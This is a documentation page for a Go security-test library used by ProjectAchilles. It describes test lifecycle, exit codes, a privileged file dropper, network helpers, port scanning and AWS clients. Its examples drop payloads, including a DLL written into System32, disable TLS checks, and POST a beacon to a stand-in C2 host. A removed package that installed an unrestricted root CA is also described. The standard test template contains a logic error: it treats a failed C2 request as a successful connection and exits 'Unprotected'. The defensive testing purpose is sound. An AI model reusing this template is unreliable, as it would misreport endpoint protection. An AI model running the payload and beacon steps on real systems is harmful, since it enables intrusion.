Skip to main content

Test Library Framework

The F0RT1KA test library provides a set of Go packages for building security tests that run on managed endpoints. These packages handle test lifecycle, file operations, network communication, cloud service access, and cross-platform binary deployment.

Package Overview​

PackageImport PathPurpose
Endpointgithub.com/preludeorg/libraries/go/tests/endpointCore test execution, file I/O, process management
Networkgithub.com/preludeorg/libraries/go/tests/networkHTTP client, TCP/UDP, port scanning
Cloudgithub.com/preludeorg/libraries/go/tests/cloudAWS service clients and region detection
Droppergithub.com/preludeorg/libraries/go/tests/dropperCross-platform embedded binary deployment

The packages live in the test library repository under preludeorg-libraries/go/tests/. Tests import them under the aliases Endpoint, Network, Cloud and Dropper.

Endpoint Package​

The Endpoint package is the foundation of every security test. It provides the test lifecycle, exit codes, file operations, and platform detection utilities.

Test Lifecycle​

func Start(test fn, clean ...fn)
func Stop(code int)

Start runs the test function in a goroutine with a 30-second timeout. If the test does not call Stop within the timeout, it exits with TimeoutExceeded. Optional cleanup functions run before exit regardless of outcome.

Stop terminates the test with a standardized exit code that the Achilles agent interprets:

Exit Codes​

CategoryCodeConstantMeaning
Protected100TestCompletedNormallyTest ran, defense detected the activity
105FileQuarantinedOnExtractionAV quarantined the payload on write
126ExecutionPreventedOS or EDR blocked execution
127FileQuarantinedOnExecutionPayload quarantined when it was executed
Unprotected101UnprotectedTest ran to completion without detection
110TestIncorrectlyBlockedA non-malicious action was blocked (false positive)
Error1UnexpectedTestErrorRuntime error
102TimeoutExceededTest exceeded 30-second timeout
Exit Code Interpretation

The Achilles backend maps exit codes to protection status when it scores results. Codes 105, 126 and 127 count as "Protected" in the Defense Score and code 101 counts as "Unprotected". Every other code, including 100, is not scored: it is shown as inconclusive or as an error. Tests written for ProjectAchilles should therefore end with 101, 105, 126 or 127 when they reach a verdict. The agent itself reports 260 when the test binary was blocked before it could start. See the exit code table.

File Operations​

The Endpoint package provides two file writing modes:

Direct mode (default):

Endpoint.Write("payload.exe", contents)
// Uses os.WriteFile under the hood

IPC mode (privileged writes via dropper process):

// Enable IPC mode
Endpoint.Dropper(Dropper.Dropper)

// Subsequent writes use Unix domain sockets to a child process
Endpoint.Write("C:\\Windows\\System32\\payload.dll", contents)

When Dropper() is called, it spawns an embedded child process that listens on a Unix domain socket. Subsequent Write() calls send GOB-encoded payloads to this process, enabling file creation with different privileges.

Platform Utilities​

func GetOS() string // "windows", "linux", or "darwin"
func CheckAdmin() bool // Running as root/Administrator?
func IsAvailable(programs ...string) bool // Programs in PATH?
func Say(format string, args ...any) // Timestamped stdout logging

Network Package​

HTTP Client​

requester := Network.NewHTTPRequest("https://target.example.com", &Network.RequestOptions{
Timeout: 10 * time.Second,
SkipVerify: true, // Disable TLS cert verification
UserAgent: "Mozilla/5.0 ...", // Custom User-Agent
})

// GET with custom headers
resp, err := requester.GET(Network.RequestParameters{
Headers: map[string]string{"X-Custom": "value"},
})

// POST with body
resp, err := requester.POST(Network.RequestParameters{
Body: []byte(`{"key": "value"}`),
ContentType: "application/json",
Auth: &Network.Auth{Type: "Bearer", Token: "..."},
})

Supported features:

  • Custom timeouts and User-Agent strings
  • TLS certificate verification bypass
  • Basic and Bearer authentication
  • GZIP compression
  • Custom headers and cookies

Raw Network Communication​

// TCP connection with message
Network.TCP("target.example.com", "4444", payload, 5*time.Second)

// UDP datagram
Network.UDP("target.example.com", "53", dnsQuery, 3*time.Second)

Port Scanning​

scanner := &Network.PortScan{}

// Single port check
open := scanner.ScanPort("tcp", "target.example.com", 443)

// Concurrent multi-host scan
hosts := scanner.ScanHosts(22, 80, 443, 3389, 8080)

Cloud Package​

The Cloud package provides pre-configured AWS service clients using the default credential chain (instance metadata, environment variables, or shared credentials file).

ec2Client, err := Cloud.GetEC2Client()
ctClient, err := Cloud.GetCloudTrailClient()
rdsClient, err := Cloud.GetRDSClient()

// Automatic region detection (EC2 metadata → us-east-1 fallback)
region := Cloud.GetRegion()
tip

Cloud clients automatically detect the AWS region by querying the EC2 instance metadata service. If unavailable (e.g., running outside AWS), the region defaults to us-east-1.

Dropper Package​

The Dropper package embeds platform-specific binaries using Go build constraints:

//go:build windows && amd64
//go:embed dropper_windows_amd64.exe
var Dropper []byte

//go:build linux && amd64
//go:embed dropper_linux_amd64
var Dropper []byte

//go:build darwin && arm64
//go:embed dropper_darwin_arm64
var Dropper []byte

Each platform variant embeds the appropriate dropper executable. The dropper binary itself implements a Unix domain socket server that accepts file write requests:

type DropperPayload struct {
Filename string
Contents []byte
}

This enables tests to write files with the privileges of the dropper process rather than the test process.

cert_installer Package (removed)​

Removed. The cert_installer package installed the F0RT1KA certificate into LocalMachine\Root on every endpoint where a test using it ran. That certificate is a root CA with no usage restrictions, so Windows trusted it for any purpose, and ProjectAchilles never needed it: binaries are signed with the tenant's own certificate at build time. Tests must not install certificates or change trust stores. To find and remove the root on endpoints, see Endpoint Prerequisites.

Architecture Flow​

Standard Test Pattern​

Most security tests follow this template:

package main

import (
"os"

Dropper "github.com/preludeorg/libraries/go/tests/dropper"
Endpoint "github.com/preludeorg/libraries/go/tests/endpoint"
Network "github.com/preludeorg/libraries/go/tests/network"
)

func test() {
// Optional: enable privileged file writes
if err := Endpoint.Dropper(Dropper.Dropper); err != nil {
Endpoint.Say("Dropper init failed: %v", err)
Endpoint.Stop(Endpoint.UnexpectedTestError)
}

// Drop payload to disk
if err := Endpoint.Write("payload.exe", payloadBytes); err != nil {
// File was quarantined by AV
Endpoint.Stop(Endpoint.FileQuarantinedOnExtraction)
}

// Execute or communicate
resp, err := Network.NewHTTPRequest("https://c2.example.com", nil).
POST(Network.RequestParameters{Body: beacon})
if err != nil {
Endpoint.Stop(Endpoint.Unprotected) // C2 connection succeeded
}

// If we got here, nothing blocked the activity
Endpoint.Stop(Endpoint.Unprotected)
}

func cleanup() {
Endpoint.Say("Removing artifacts...")
os.Remove("payload.exe")
}

func main() {
Endpoint.Start(test, cleanup)
}

Platform Support​

PlatformEndpointNetworkCloudDropper
Windows amd64YesYesYesYes
Linux amd64YesYesYesYes
Linux arm64YesYesYesYes
macOS amd64YesYesYesYes
macOS arm64YesYesYesYes

Platform-specific behavior (admin detection, file paths, dropper binaries) is handled via Go build constraints (//go:build), so tests compile and run identically across platforms.